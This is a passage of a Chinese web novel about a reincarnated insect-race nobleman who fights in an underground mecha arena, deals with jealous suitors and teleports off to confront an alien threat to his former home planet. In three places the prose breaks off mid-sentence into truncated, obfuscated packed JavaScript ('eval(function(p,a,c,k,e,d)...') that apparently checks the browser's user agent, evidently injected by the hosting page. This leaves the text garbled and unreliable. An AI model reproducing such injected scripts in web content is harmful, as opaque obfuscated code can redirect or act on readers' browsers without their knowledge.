要知道,百分之八十五的学生都在狼、虎、鬼三个等级之间徘徊,能达到龙级的,无疑是佼佼者。 看见昔日暴揍自己的大佬们在台上被遛成二傻子,他们内心也爽,不仅不质疑了,甚至反过来给他叫好。 一时间,[烂命一条就是干]在黑擂台名声大噪,风头无两。 有人欢喜有人悲,对此感到蛋疼的不止是龙级选手,还有贾斯帕。 他原本计划借力干掉温德夏特,成全自己和卡修。没想到偷鸡不成反蚀把米,暗定的杀人剑全成了磨刀石,只能眼睁睁看着温德夏特愈战愈勇。 拿着比赛赚到的钱,在自己眼皮子底下购入高级装备,升级机甲。 …那叫个憋屈! 温德夏特把机甲停好,从后台出来,一个猛子突换线路,往人多的地方挤。 他边走边摁光学迷彩的按钮,切换出无数张不同的脸。 温德夏特其实很讨厌跟别人贴得太近,奈何拥挤的人群最容易障翳隐藏。 他能察觉,有一些人在跟踪自己。 不管对方出于什么目的,温德夏特都没打算理。 现在的生活充实又有序,白天上课下午擂台,晚上给希尔十三带点小吃,然后就翻着异种图鉴等卡修过来一起自习,如果还有空闲,就跟A.L.唠唠嗑,讨几个稳固精神力的好法子。 少一事则空虚,多一事则拥挤,绝不能再有变数。 这时,身板轻薄的优势就体现出来了。 温德夏特见缝插针,像个被风鼓起的破垃圾袋子,在人群中起起伏伏,速度极快,一骑绝尘,痛快甩掉了所有跟踪者。 临出口时,他肩膀一正,无意撞上了旁人。温德夏特抬手示意,“抱歉。” 动静不小,被撞的雌虫撇脸看了眼。 这一看就失了神,双脚生根,静止在流动的人群中。 温德夏特被盯得发毛,以为他没听清,又提高些音量说:“抱歉,我刚刚走得急,不小心撞到你了。” 雌虫陡然发难,伸手去抓他大臂,温德夏特大惊闪躲,“我都说了抱歉了!” 他也不清楚这雌虫犯什么神经,脚跟一错,拔腿就跑! 那雌虫在后面豁命追,两人窜出酒吧,拐进胡同,你追我赶,飞速穿梭。 温德夏特刚比完赛,本就没剩多少体力,那雌虫又身形高大,迈一步恨不能顶自己两步。 差距被极速拉近,温德夏特只能靠转弯和障碍物为自己争取更多的时间。 霓虹灯光不断向后拉扯,成了丝丝缕缕的彩色线条,温德夏特只觉得眼前发晕,渐渐没了力气。恍惚间被路边的废弃金属一绊,顺着路沿滚了一圈,爬起来继续跑。 他大口大口呼哧喘气,撞进了死胡同。 你大爷,天要亡我! 温德夏特欲哭无泪。 失去了机甲的加持,他的战略战术再怎么高明也不可能打过训练有素的雌虫战士啊! 胡同的尽头有一单薄的路灯,光线微弱,只能堪堪照亮脚下。对面的雌虫一言不发,影子被拖得又尖又长,如同鬼魅。 温德夏特停下脚步,转身扶膝,累得上气不接下气,“不就是撞了你肩膀一下吗?追到这儿,至于吗!” 雌虫盯着他,一步步逼近,抬手关闭光学迷彩,“夏特,你的choker一直没变。” “啊……” 熟悉的面孔映入眼帘,“…阿舍尔。” 温德夏特顿然放松下来,腿一软,就要瘫坐在地。 阿舍尔将他一把捞起,嗤笑,“你跑什么跑?” 温德夏特毫不留情地抡胳膊给了他肩膀一拳,“你追什么追!” “怎么着,别人一追你就跑,心里有鬼?” 温德夏特呵斥:“我看你像个鬼!” 阿舍尔哼唧两声,没生气,反而带些笑意,“想看我比赛就直说,偷偷摸摸过去干什么?那地方可不安分,你不找麻烦,麻烦也自会找上你。万一出了什么事,我也没好果子吃。” 温德夏特一愣,没料到他还不知道自己的真实身份,开口试探: “你知道[烂命一条就是干]吗?” 阿舍尔见他突兀提起别人,一拧眉,冷脸,“听说过,但不认识,那虫应该才来没多久。” 温德夏特继续探:“听说他打架挺凶的,也是轻型机甲,也是龙级。” “你担心我?”阿舍尔又笑起来,“没事,我比他更凶。” 温德夏特倒不是担心他,主要是担心自己掉马。 交战之前,双方都会在备战区休息,那时候还没进入机甲,即使脸看不清楚,也能将身形看得一清二楚。 像自己这么瘦的虫可没几个。 温德夏特下定主意,决定一碰上阿舍尔就弃赛。 那晚过后,阿舍尔开始邀请温德夏特去观摩他的格斗课,美名其曰“暴力场面脱敏训练”。 温德夏特没拒绝。 他原本的时间被一节叫“奴役心理学”的课占用,温德夏特本就不屑听,去了也是蒙头睡觉,干脆翘了去看格斗课。 金灿灿阳光下,剧烈的运动,飞扬的汗珠,蜜色的皮肤,紧绷的大臂。 温德夏特盯得仔细。 不是好色,是好奇。 他在黑擂台打久了,发现雌虫战士们无论个人特色如何,最基础的招式都是一个模子里刻出来的,有一套固定的体系。 不出意外的话,应该就是这格斗课的功劳。 一下课,阿舍尔去更衣室换衣服,温德夏特自觉去门口等,有几个动作细节想要问他。 没等到阿舍尔,倒是等到了莱利。 “阁下,真没想到会在这里碰见您。”莱利温柔挂笑,暖黄的光晕笼着他,“您好像变高了。” 温德夏特眨眨眼。 其实他和莱利不过是几天没见,莱利这一提,温德夏特才发现自己又蹿了些个子,长了些肌肉。 “最近我有好好吃饭,也有好好锻炼。” 温德夏特轻叹一声,装模作样,“我尝遍了学校食堂的汤,没一家能比得过你煲给我的。” 莱利含笑回应:“大补之物不好一直吃,吃多了也伤身。这个给您,当小零嘴吃吧。” 他掏出一小袋黄油曲奇放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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莱利微微躬身,周身洋溢着淡淡的曲奇香气,在阳光下笑得格外灿烂,颇为贴心,“阁下想必是在等虫吧?下属有眼力见儿,就先行一步了。” “嗯,拜拜~!” 莱利笑着告别,转脸就阴沉。 话都说成这样了,阁下还是不愿意告诉自己房间的密码。 但是…那串该死的数字,已经有无数个温德夏特曾经追求过的雌虫向他兜售过了。 他当初没买,是觉得没必要。 现在依然不买,是想要温德夏特亲口告诉自己。 阁下这几日不像以前那么缠着他了,连新看上了什么雌虫都不主动跟他说。 以前莱利也设想过类似的情景,他以为自己会高兴,会乐得清闲,但现在,他竟然有些难以忍受。 莱利在远处回眸,握紧拳头,心头的妒火静静燃烧,吞没了恒久的理智。 良久,一黑皮雌虫推门而出,雄虫迅速围上去,小嘴开合,激动地说着什么。雌虫抱臂仰头,颇为骄傲地回应。 两虫在晴朗的阳光下,快活、招摇。 不像自己,只能礼貌而疏离地站在远处,隔着一层可悲的厚障壁。 莱利垂下头,手在不知不觉间攥出了血痕,痛感挤压着他的肌肤。 “阁下……” 他低声呢喃,“明明是我先来的,阁下。” 22. chapter022 *chapter022* *就一个不入流的雌虫* F班教室。 “好了,下个专题我们来讲雌虫的发育过程。” 老师语气平平,“雌虫一生中会经历一到两次变态发育。第一次发生在十八岁,具有普遍性,雌虫破蛹后便会步入成年期。有同学知道这次发育会带来什么变化吗?” 后排冒出尖锐一声: “性成熟!” 老师轻轻嗯了一下,“很好,还有呢?” 这次安静如鸡。 老师双手背在身后,前后左右看了一会儿,问:“都不知道吗?” 尾勾和翅翼啊。温德夏特心说。 他对这东西记忆特深刻,毕竟自己上辈子亲身经历过。 蛹化的那天,他照常睁开眼,眼前迷蒙一片。他下意识抬臂去擦,转瞬意识到那不是眼屎。 自己的手啊脚啊也被一团巨大的粘液包裹住了,一股莫名的力量涌入身体,他不自觉开始扭,难以控制,像有一只无形的鳄鱼咬住了脑袋带着他旋转。 这是雌虫基因里自带的奇葩规矩,是难以改变的刻板行为。自他从地球穿越以来,第一次体会到身不由己——哪怕小刀就在身侧,他偏不用,偏可劲儿闹腾,最终筋疲力尽从蛹里钻出去。 回头一看,蛹壳像个泡胀了的巨型馄饨,他一口咬上去,外酥里嫩,吃了半拉才回神。 回神之后愣了愣,晃悠起身后的尾巴,继续吃。 温德夏特现在想起来还不禁咂嘴回味。在吃一顿饿三天的当时,那绝对算是顿不错的大餐了。 不过,他当时摄入的总能量不够,虫翼没发育完全,根部挺着,外延萎着,看起来怪没精神。好在可以收到翅囊里,不耽误打架。 尾勾就没这么方便了,只有中高等雌虫才有相应的尾勾囊。他一个低等雌虫,对突然冒出来的尾巴一点办法都没有,只能慢慢适应。 温德夏特眼前开始片段式的叠加影像,前世的记忆像走马灯一样迅速闪过,传递出摄人心魄的情绪。 台上的老师还在坚持:“没一个同学知道吗?” 后面有虫不满叫嚷:“老师,我们又不是雌虫!” “哎,是尾勾和翅翼!”老师叹一声,又说,“少数雌虫会获得二次进化的机会,但这就得看运气了。大部分二次进化会在接受刺激后发生,刺激源可能是血腥暴力,也可能是情爱云雨,再详细的,官方也没有给出确切的数据。” 老师提高了点音量,“要是日后你们的部下发生了二次进化,得赶紧送到医院,可别愣着。二次进化的危险程度远不是第一次能比的,重则死轻则残,马虎不得,都记住了吗?” 温德夏特坐在第一排点头,众虫见了,也跟着频频点头。 下课后,温德夏特卷起袖管,准备收拾东西离开。 他把最近的行程都安排妥了。期中将近,他努把力考个高分,趁卡修满意把莱利的推荐信那么一递——以莱利的实力,配卡修简直门当户对! 接下来自己再把阿舍尔放走,三百二十万到手,划一百二十万去升级机甲,剩下两百万都拿去填债款的窟窿。 啊…生活有盼头! 又是循规蹈矩翘课的一天呢! 温德夏特刚起身,教室后方传来阵阵嘈杂。 “嘿,约翰,待会儿去小维寝室吗?” 约翰抬眸,“你们又开群趴?” “对呀,来吗?” “不去,”约翰摆摆手,顺着劝,“你们可悠着点吧,再过一阵儿就该期中考了。” “拜托,别这么扫兴嘛,这时候不浪什么时候浪?反正我们鞘片都有加固,不用担心搞大谁的肚子——那些雌虫也很高兴不是吗?” 温德夏特闻言,也顾不上收拾了,抱着笔记本冲到教室后排,“等等,你嘴里说的鞘片是指压制精神力的那个鞘片?” “对啊,”那雄虫见到温德夏特突然过来,有些紧张,“我们性.交时释放的特殊精神力是雌虫开放生殖腔的诱导因子,如果没有鞘片,性功能会更强,受孕率也会随之升高。那样的话,虽然一时爽,但我保准要当上三个孩子的雄父了…哦对,夏特,你想加入吗?” 温德夏特两腮紧咬,下意识捂住后颈,“不了,谢谢。” 那雄虫失魂落魄,“真遗憾,你最近很出名,要是去了,那些雌虫肯定会更疯狂的…我喜欢疯狂,你知道的,我喜欢疯狂……” 大伙听了都笑。约翰问:“嘿,夏特,你真不去?” 温德夏特心里装着事,摆手敷衍:“没什么兴趣。” “没性趣?这可不像个正常的年轻雄虫会说的话。” 约翰邪性地笑,眉毛往上一吊,“我们康曼德家大少爷不会又有喜欢的虫了吧?” “嗯……正是如此。” 此言一出,所有虫都坐不住了。 以前的温德夏特见一个爱一个,哪天没去找雌虫表白才叫反常,但自从这学期开学,他摇身一变成了高岭之花,漂亮了,成熟了,也沉默了。 有不少雌虫故意在他面前游来荡去,他却成了木头,一丝一毫目光都不分过去。 约翰掐手一算,没跑了,定是因为这个神秘雌虫! 他兴冲冲冒头,“大少,谁呀?” 温德夏特原本只是随口一说,没料到约翰会这样刨根问底,抬头一看,周围的虫也全部视线火热,目不转睛望着自己。 他一时间口舌卡顿,不知道这梦中情雌的位置该拿谁顶替。 突然,一副画面撞进大脑。 雌虫仰面躺着,全身濡润,眼尾湿红。抵着墙壁的指尖因忍耐而泛白,睫毛翩翩颤抖,发丝与蛹丝勾缠在一起—— 哎哟,那残缺的翅翼,那上翘的尾尖,那已经死去的过往。 ……哎呦。 温德夏特越想停止越是拦不住,他甚至听见了四面八方的声音:克制的呼吸,压抑的轻咛,窸窸窣窣流动的粘液,轻佻的心跳…… 竟然记得这么清楚。 温德夏特有些口干舌燥。 他低下头,发丝盖过晦暗不明的目光,喉咙微动,“没谁,就一个不入流的雌虫,都不认识我。” 约翰见状笑意更甚,“你这么出名,怎么可能不认识呢?欲擒故纵吧!真是个小坏雌虫,把我们夏特吊得魂不守舍的。” 温德夏特浅笑一声。 约翰眨眨眼,“真这么难接近?” “嗯。” 可以说是生死两隔了。 约翰仿佛终于找到了自己的用武之地,英勇一挺身: “让我来帮你出出主意!如果你请他喝酒,他会答应吗?” “他确实从不拒绝免费的酒水。” “那再给他一束玫瑰呢?” “他对花不太感冒。” “好吧,那上床?你床上功夫怎么样?” “看见那个墙角了吗,约翰。” “怎么?” “他会指着那墙角,说,''自己去撸吧,混蛋玩意儿。''” “噗…哈哈哈哈!他可真有意思,有机会一定要介绍给我认识一下。”约翰轻拍温德夏特肩膀,挤眉弄眼,“放心,我不跟你抢。” 温德夏特也大方,“好啊,有机会的话一定。” 阴曹地府里扯红线呗。 温德夏特回到宿舍,第一件事就是把A.L.放出来,二郎腿一翘,冷脸发问: “你可没跟我说鞘片跟受孕有关系。” “这不是常识吗?我以为你知道呢。”A.L.一愣,反应过来,“等等,所以这些日子你都散着精神力?就像在大街上喊''嘿!这儿有个相当牛逼的雄虫!谁要来一炮''一样?” “…那倒也没有,我把精神力控制得很好,没有一丝外泄。” “那不就得了!” A.L.重新放松下来,声调时轻时高,“鞘片本来是会在性成熟后自然脱落的,但大部分雄虫那时候都没玩够,会去做加固手术,等到想要生育了再把加固器取掉。你当时一气儿把加固器和鞘片都拔出来了,所以才血流不止。不过放心,你要是想放开了玩,大可以把鞘片再安回去,反正精神力的精进不会造假,现在安回去了精神力也不会倒退。” 温德夏特自始至终都气定神闲,“算了,也没那个必要。” “我就知道你是性冷淡。” A.L.翘脚脚,似乎已经习以为常,“诶,小温,随便放个雄雄片给我看,你自习吧。” 温德夏特弯腰,从橱柜里掏出一些金属器件,塞进包里,“今天没时间,待会儿莱利要过来,至于我——我给他开完门就要走了。” A.L.凑近去瞧,“他来干嘛?你去干嘛?” “他来借一下厨房,做烘焙课期中作业。”温德夏特把拉链拉好,“我的事你不用知道。” “切,好冷漠。肯定跟你带回来的那些破铁片有关……怎么着,辅修机械师去了?” 温德夏特故作夸张,“哇,被你说中了。” A.L.比出个中指,“死装。” 温德夏特按下开关,“再见。” 送走A.L.之后,温德夏特赤脚蜷在门厅,眯着眼睛研究图纸。 他清楚贾斯帕不是什么善茬,能一上来就把他扔到龙级去,是何居心不必多说。 加上贾斯帕总是喜欢私自给机甲动手脚,收费也不便宜,这一点让温德夏特难以容忍,决心把机甲改装大权揽到自己手上。 独立的配件虽然谈不上多便宜,但跟贾斯帕的价格表一对比,被衬得格外顺眼。 温德夏特每次在黑市上见到合适的都会买,用透明防锈膜裹好,注明标签,带回来塞抽屉里,将一切打理得井井有条。 能自己改装的就尽量自己改吧。 也算是继承了上辈子的事业。 不时,敲门声起,温德夏特开门给莱利指了通往厨房的路径,本想嘱咐什么,转念一想,觉得没必要此地无银三百两,直接挥挥手走了。 没嘱咐的结果就是——莱利目光悚然,低头凝视着底层抽屉里的东西。 一块鞘片,一大袋相当重口味的黄片。 ……虫神在上。 此时,温德夏特已经来到了黑擂台。 光学迷彩一开,他扬起一个虚假笑容,“老板,借下工具呗!” “你自便。”贾斯帕停下手中工作,抬眼望去,“今天是你的晋级赛吧?” “嗯?” “龙级进神级的晋级赛?” “啊…好像是。” 贾斯帕轻轻歪头,也不装了,直言其名讳:“我很好奇,夏特,你是从哪里学来的身法。” 温德夏特的脸也侧了侧,眼皮仍耷拉着,“您可以继续好奇。” “一开始是我小看你了,我承认这是我的失误。” 贾斯帕踱步过来,“但这也不能完全怪我。顶尖的指挥官,一般在学生时期就会留下令人印象深刻的传奇故事,比如卡修,他在上学期已经担任过一次A级异种突袭战的副指挥官了。但你什么都不是,你什么都没有…你的身上充满了迷思。” “在这个社会里,道德与性别并不是那么重要,唯一内在的发展基础就是——权利。等到我们未来联姻……” 在贾斯帕未有防备之时,温德夏特豁然拔出了匕首。 贾斯帕兀的向后撤步,匕首生风,刀光近距离在他面前划过。 幸亏他反应迅速,要不然定会见红。 贾斯帕眼里掩不住错愕,定睛望去—— “抱歉啊,手滑。” 温德夏特笑眯眯耍了个花刀,“我是众所周知的废少爷,我没权没分,但你能奈何我吗?不能。” “实力,实力才是生存的底色。” “我其实也很好奇,八字还没一撇的事,你是怎么确信自己就是麦克尼什未来的家主的?无论是费洛伊还是凯萨,他们哪个比你差?我要是想扶持别人上位,不过是几句话的事。” 温德夏特字字句句咄咄逼人,说完便自顾自动手改装机甲,把贾斯帕晾在一旁。 贾斯帕心里有气却使不出来,只能咬碎钢牙往肚子里咽。 “……祝您今晚晋级顺利,阁下。” 温德夏特按动焊接机,火苗“噗”一下冒出来,燃得红彤彤,映得室内也红彤彤,一派温馨和谐的美好场面。 “那就谢谢老板咯。” 月笼霓虹。 今晚的黑擂台格外热闹——许多人慕名前来见证史上进阶最快的选手——烂命一条就是干。 一个月出头,直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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距离骤近,温德夏特双臂一缩,体积减小,眼神在主视角和子弹追踪线路图上不断交替,掐算着炮弹的锚点。 他堪堪避开对方射出的火光,身体在空中以一种不符合人体构造的角度扭曲着,速度未减,从背后刺向对手的脖颈! 光刀剐蹭着外壳,长长拉了个尾音,挥鞭一卷,破风声尖锐呼啸,把背后的机甲。 破风越抡越暴虐,温德夏特却没有避。 【Attention:机甲中度损伤】 【Attention:机甲中度损伤】 【Attention:机甲中度损伤】 警告的字条在屏幕最上方循环滚动,温德夏特丝毫不动,任由长鞭落在身上。 警报器持续响起,机甲的各项数据凭空拐出: 【背后破损率:38%】 【右臂破损率:62%】 抽击感透过机身传到舱内,镜头晃动,温德夏特定定看着,不错过每一处细节。 “破风上啊!抽死他!用劲啊!!” “烂命你快动动!别睡台上!下来睡我床上!” 不行… “烂命!老大!快反击啊!提起你的长刀拦腰斩断他啊!” 还不行…… “烂命一条就是干!!” 就是现在! 温德夏特把光刀一横,像顽童拍击水面一样主动撞上长鞭,借力使力,鞭子一圈圈缠得紧实,再把长刀往怀里一带! 机甲再怎么说都比人体笨重,牵一发而动全身,温德夏特一使绊子,两台机甲都突兀失了平衡,往台下倒去。 破风努力调整重心,尝试归位。温德夏特趁机抬刀,精准卡进机甲连接处的缝隙,轻轻一挑,破风的联动回路…被完全切断了! 破风的机甲瞬间僵硬,失去了全部动作能力。但现在两台机甲的倾斜角度都太大了,舱内也是失重状态,大势已定,似乎只有双双落地这一个结局。 突然,温德夏特伸手够上摇杆,贴合,紧握,扳身回正——机甲长刀插地,稳稳拿下胜利! 台上台下都是一静,转瞬炸锅,爆发出难以置信的欢呼嚎叫。 “我靠…他怎么做到的?即使用了紧急制动这也反重力了吧?!” “不,快看机甲身后……” “尾巴?!” “机甲上安尾巴?今天倒是开了眼了…” “竟然用尾巴平衡了!天呢,我们平时都把它当累赘,竟然还能这么巧用!” “话说尾巴上有感应器吗?他应该是拿摇杆操作的吧…好神的反应力……” 温德夏特坐在舱内,仰着头张着嘴,温热的气息喷洒出来,热汗顺着脸颊向下流,虎口处被震得血肉模糊。 机甲一脚深一脚浅回到擂台中央,机身破得不成样子,却昂首挺胸,静默着接受了全场的瞩目礼。 * 没有例外,温德夏特下场后直接出了黑擂台。 他落座吧台,卸下光学迷彩,听着身边的雌虫讨论自己。 当然,不是身为“温德夏特”的自己,而是身为“烂命一条就是干”的自己。 温德夏特嘟着嘴,眼神一递,暗夸他们有眼光,嘴角压不住地上扬。 有点爽。 他高举手臂,一个响指,“来杯伏特加。” 酒保见他身板瘦弱,好心提示:“那个度数可不低。” 温德夏特一笑,“放心,我酒量好着呢。” 伏特加不用调,上得快。温德夏特接手,点开光脑,久违地翻出原主的电子日记。 温德夏特静默浏览一遍,戳了戳冷冰冰的屏幕,轻柔出声: “喂,可不是虫神在帮你,是我噢。” 他捏住酒杯,微微往上一抬,“敬温德夏特。” 仰头一饮而尽,酒液顺着喉咙淌下去,沿途火辣辣。 温德夏特一边吐舌一边把空杯子推给酒保,示意他满上。喝干净,又推,喝干净,又推。 酒保心说这虫酒量是好,喝了这么多,一点儿不带醉的。 再抬眼,那客人冷不丁站上了桌子。 他歪斜着脑袋,双颊红得像熟透了的柿子,眼睛雾蒙蒙,说出的话语却极具力量感: “恭喜我实力退步到两年前!” “大家,请恭喜我的实力退步到了两年前!” 23. chapter023 *chapter023* *出发去外太空,尝试拯救自己* 发酒疯这事儿太常见,要是事发地点在酒吧,就更常见。 所有虫都举杯向桌上那位示意。阿舍尔不在,他朋友在,视线顺着酒杯一延伸,一眼就看出了那是温德夏特。 他匆忙赶过去,张开双臂,生怕那位一个不慎就要跌下来。 “诶,少爷!” 雌虫压低声音,暗里发狠,“下来,你快下来!” 温德夏特耳朵灵听见了,果然蹲下。 他面无表情戳了戳雌虫的脸,觉得眼生,一偏头,嘟囔: “敌袭吗…” 雌虫没听清,拧着眉毛往前凑,“你说什么?” 温德夏特被突然放大的怪脸吓了一跳,一把将他推开,确信,“是敌袭!” 他利落地单手撑桌侧翻而出,几乎刚落地就弹射起步,一溜烟奔出去,留雌虫在原地发愣。 “靠…温德夏特!” 雌虫忙把酒水钱拍桌上,紧随其后。 两虫前后脚跑出去,闯进一片夜色。 风刮得凶,呼呼直响! 现在正是校园里最肆意喧闹的时刻,学生们终于结束了一天的课业,空气里洋溢着放浪的笑闹与腾飞的酒沫。 温德夏特体型纤细,轻盈而鬼马,跑动起来极具美感,像一只在树梢上的麻雀,欢快地跳动。 他身后那雌虫是重型机甲战士,五大三粗,一步一跳,快要飞起来了也跑不过他,还因为块头太大撞了许多过路人,白白挨骂。 雌虫越跑心气越急,眼瞅着温德夏特消失在视线尽头。 “该死……” 他气喘吁吁停下,点开光脑,咬牙切齿给阿舍尔发信息:“癞皮狗,你家阁下醉了跑了!” 温德夏特只觉得世界在漂移,鞋底敲在石板路上,小雨一样滴滴答答,跑着跑着就忘了自己为什么要跑了。 他一路赶到宿舍楼下,看见一鹤立鸡群的熟悉身影。 “莱利?” 莱利脑袋低垂,脸在路灯下半明半暗,身体被挖空了一样虚浮,不知道在这里站了多久。 “阁下,我都看到了。”他轻轻说。 “看到什么?”温德夏特问。 “您抽屉里的那些。” 温德夏特脑袋嗡的一下,啊,原来是发现那些机甲零部件了。 他眯瞪着双眼,定定注视莱利,“你、你都知道了?” 莱利的声色几乎降到了冰点,温德夏特从没见过他这么冷漠,审判犯人似的严肃。 “您是从什么时候开始的?” “就这学期初。” “一直持续到现在?” “对啊,就每天放学后那段时间…有时候也会翘点课……哎哟,我错了,不该瞒着你的。” “跟谁。” 温德夏特支支吾吾,半晌没出声。 “跟谁?你说话!你说话啊!”莱利突然爆发一股大力,双手钳住他肩膀,泪水在眼睑处存蓄,“您去哪里找的雌虫?随便找的?连我都不告诉?没了我,那虫的出身背景你都没调查清楚吧?我说怎么只见你吃不见你胖,原来都是被那蛀虫给折腾的!温德夏特,我还以为你真变了,原来只是换了个法子折磨我,你怎么能这样随便……” 温德夏特双胛被掐得疼,抡臂用力甩开,也恼了:“这我怎么管,那地方不都是随机匹配来的吗!轮到谁谁就上呗!” 莱利被震得向后退,“随机匹配?!” 温德夏特忙去扶他,“你放心,我们就是玩玩,娱乐局,彼此心知肚明的,也不上强度。除开今天,我从来没受过伤流过血。莱利,我也是活生生的虫,无论我以前怎样,我一直都在改变。如果你感兴趣的话,你也可以来旁观啊!反正面具一戴,谁也不认识谁——你都不知道,我现在可厉害了!” “你、你……” 莱利声音止不住地哆嗦,眼泪突然掉了出来,砸到地上,温德夏特第一次见他这幅模样,也慌了。 忍着头疼捋了一遍思绪,温德夏特恍然大悟。 是了,自己要是在黑擂台上丢了性命,莱利也是要陪葬的。 怪不得他哭。 “抱歉莱利,这事是我没考虑周全。”温德夏特从书包里翻出一张折好的纸,语气真诚,“帮我保密好吗?这个给你。” 莱利心里发闷,就着温德夏特的手往外推,“我不要你的钱。” “这不是支票。”温德夏特强硬塞到他怀里,“你自己看。” 打开一看,整整五页推荐信。 洋洋洒洒几千字,字字句句都在夸他。 推荐信是手写的,字好丑,像是出自刚入侵的外星人之手,奈何态度恳切,一笔一划都在用力,钝刀子一样割在莱利心尖。 果然啊,又在把他往外推。 不……不怪温德夏特,是他自作自受。 要是跟阁下早早说明了真心,会不会一切都会不一样? 月光遍地,世界像是被冻住了。 莱利惨笑不做声,眼泪流得更凶,收起信,扭头就走。 温德夏特目送他踉跄的背影,也有点心虚。 原本是打算等期中过后再把推荐信给莱利的,不过提前几天也没什么大碍。以莱利的心理素质,应该还不至于因一封推荐信而喜不自胜,飘飘然把考试搞砸吧? 他摇晃着身体走进宿舍楼,电梯门开了关关了开,又有一个虫在候他。 “你喝酒了。” 希尔十三用的是陈述语气。 “一点点。” 温德夏特食指和拇指掐在一起,突然挺胸抬头,“我可没醉。” 希尔十三一动不动地看他,宣布:“夏特,你昨晚精神力的精度足以支持预言的需要了。” 温德夏特闻言,酒醒了一半,“你说什么?” “先吃药,吃完醒酒药我再跟你说。” 温德夏特连滚带爬钻到宿舍客厅,扒拉出醒酒药,也不倒水,就着唾沫往喉咙里顶。 希尔十三在他身后进了客厅,站定问: “吃好了?” 温德夏特捶胸咳嗽两声,“吃好了。” “三十六个小时,W2231-0173星系第十七外环。” 温德夏特还噎着,拿两个指头掐自己喉咙,“嗯?” 希尔解释:“那异种会在三十六个小时后降临在2231-0173星系第十七外环,以它的体型,至少要吞三到四个星球。” “咳…什么,就三十多个小时了?” 温德夏特面色骇然,转瞬阴沉,凝重问:“只剩下两天不到的时间,联邦那边还没动静吗?” 希尔缓缓摇头,“总部的兵力没有调动,我也没从家族里听到什么风声,官方对这事大抵是持放任态度了。” “…荒唐!他们敢不管那数以百亿计的虫的死活?不要民心了?” “那样偏远的地方,密密麻麻全是低等种雌虫,活的时候没发言权,死了更是安静,声音根本传不出来。” 希尔十三说话时只有唇瓣在翕动,面色淡漠,语气平静得可怕,“夏特,银河联邦已经做好决定了,局势已定,你犯不着为这种事愁眉苦脸,我们有我们的使命。” 温德夏特气笑出声,“我不信,指挥首席也不管?我爹他不管?” “联邦的总决策者是首脑,不是指挥。指挥只负责单位作战,打赢了升勋,打不赢就死。你雄父应该也清楚,在他们作战部所恪守的训令背后,全是中饱私囊的权钱交易。” “那首脑是谁?” “首脑不是生物,是台机器,准确来说,是台星球量级的超级计算机。” “个体的思维不可能负担全宇宙的繁琐,只有机器…科技……”希尔的目光飘忽起来,又迅速落定,“首脑的本体半径有上万公里,比很多星球都大。一切预言、战斗数据、虫员变动都会向那边汇聚,它对世间万物纤悉无疑,由它进行全局分析,给出最利好于种族延续的指示。也许它觉得,几颗盛满了低等雌虫的星球不值得任何指挥部队以身犯险。” “哈,真他妈欠调教…” 希尔迅速捂住他的嘴,伸长脖子,双目灰白,“夏特,你的家族,我的家族,都是首脑底下数一数二的走狗。” 温德夏特发狠甩掉希尔,青着脸点开光脑,全息星图在暗室中徐徐铺开。 他目光满屋子乱飞,终于逮住了那W2231-0173星系。 放大,再放大。 温德夏特后退半步,震得两眼打晃,喘不上气。 竟然是—— 竟然是他前世蜗居终生的那颗星球! 那星球还有三十多个小时才会被异种吞掉,也就是说,自己不仅重生了,重生的时间线还提前了。 整整两个月,他终于弄清了事情的始终。 温德夏特霍地迈步向外冲,希尔拉住他手腕,尖声:“夏特你干嘛?冷静点!” 温德夏特眸色阴翳,“我说过,每分每秒对我来说都很重要。” “你现在过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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W2231-0173星系里有十二个光环航站,但哪怕是离第十七外环最近的那个,也跟自己前世定居的小破星球隔着几光年的距离。 没办法了,只能先传过去,后续再开星舰赶到具体星球。 温德夏特在舱内忙碌的时候,贾斯帕已经渐渐回神。 他虚弱地趴在地面,仰头提示:“雄虫的身体不能支持远距离的空间跃迁……” 温德夏特斜向下睨,手上动作不停,“你觉得我会做没把握的事?” 贾斯帕见他如此自信强势,轻缓地笑了,“你现在完全有资格跟卡修抢家主的位置……” “不要。” “什么?” “我不会抢的。” “…你怕为难?夏特,你是康曼德家的长子,那位置本就是你的。” “不是。”温德夏特说,“这个世界上真正属于我的只有一样,而我也正在为此努力。” 贾斯帕抬眸打量着他的面容,不肯死心,“你真的不考虑一下吗?如果你我二虫都成了家主,我们一结婚就可以……” “我会借着SM的名义把你往死里打的。” 温德夏特终于停下手,定位确认完毕。 玻璃舱内,乌丝被强风鼓得肆意舞动,他微微抬臂,把发丝揉到耳后—— “再见。” 紧随着一声巨响,玻璃罩顶端的发射器呲出一道红光,闪电击中了温德夏特,身影瞬间无影无踪。 贾斯帕被这巨震所唤醒。 太完美…… 太他妈完美的配偶了。 强大又疏离,漂亮又薄情,无论是精神力还是战力,无论是谋略还是勇气,都是世上顶顶尖! 贾斯帕感到由衷的欢愉。他咧开嘴,连皱纹都在笑,主动点开寻呼机: “校长,我是贾斯帕·麦克尼什。” “我的小未婚夫跑了,请求校方支援。” 此时此刻,宇宙中骤然刮起了风暴,群星涌动,温德夏特顶着难以想象的压力,在无数个塌缩的空间中穿行。 一抹腥甜涌上喉头。 他刚刚其实说了一句谎话。 他对直面那个异种没有任何把握。 确实,他一直都是个很有计划的人,让他奋不顾身的事情少之又少。 一次是在完全陌生的世界里反杀仇家;一次是为了濒死的朋友满星球找酒精;最后一次是现在,出发去外太空,点燃了夜空,睁开了宇宙的眼睛,尝试拯救自己。 24. chapter024 *chapter024* *一切都太暗淡了,除了你* 圣奥古斯丁贵族学院,星际港口。 “莱利·尤利西斯!” 